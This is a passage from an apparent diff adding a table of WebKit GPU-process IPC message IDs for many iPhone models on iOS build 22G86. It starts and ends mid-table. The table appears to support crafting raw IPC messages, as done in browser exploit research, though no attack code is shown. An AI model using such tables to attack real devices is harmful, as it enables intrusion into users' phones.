GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,5_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,6_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,7_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,8_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,2_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,3_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,4_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,5_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,1_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,2_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,1_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,2_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,3_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 